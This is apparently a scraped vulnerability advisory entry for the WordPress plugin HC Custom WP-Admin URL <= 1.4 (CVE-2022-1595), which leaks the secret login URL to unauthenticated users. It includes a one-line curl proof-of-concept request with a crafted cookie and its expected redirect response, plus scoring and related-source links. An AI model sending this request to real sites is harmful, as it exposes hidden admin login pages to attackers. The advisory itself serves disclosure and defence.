Lucene search
Daniel RufWPVDB-ID:0218C90C-8F79-4F37-9A6F-60CF2F47D47BHistoryMay 18, 2022 - 12:00 a.m.
HC Custom WP-Admin URL <= 1.4 - Unauthenticated Secret URL Disclosure
2022-05-1800:00:00
Daniel Ruf
wpscan.com
10
0.002 Low
EPSS
Percentile
52.8%
The plugin leaks the secret login URL when sending a specific crafted request
PoC
curl -sIXGET -H “Cookie: valid_login_slug=1” https://example.com/wp-login.php HTTP/2 302 x-redirect-by: WordPress location: secret
| CPE | Name | Operator | Version |
|---|---|---|---|
| hc-custom-wp-admin-url | eq | * |
Related
nvd
nvd
CVE-2022-1595
2022-06-13 13:15:11
nuclei
nuclei
WordPress HC Custom WP-Admin URL <=1.4 - Admin Login URL Disclosure
2022-12-13 11:39:39
wpexploit
wpexploit
HC Custom WP-Admin URL <= 1.4 - Unauthenticated Secret URL Disclosure
2022-05-18 00:00:00
patchstack
patchstack
cnvd
cnvd
WordPress HC Custom WP-Admin URL plugin信息泄露漏洞
2022-06-15 00:00:00
prion
prion
Cross site request forgery (csrf)
2022-06-13 13:15:00
cvelist
cvelist
cve
cve
CVE-2022-1595
2022-06-13 13:15:11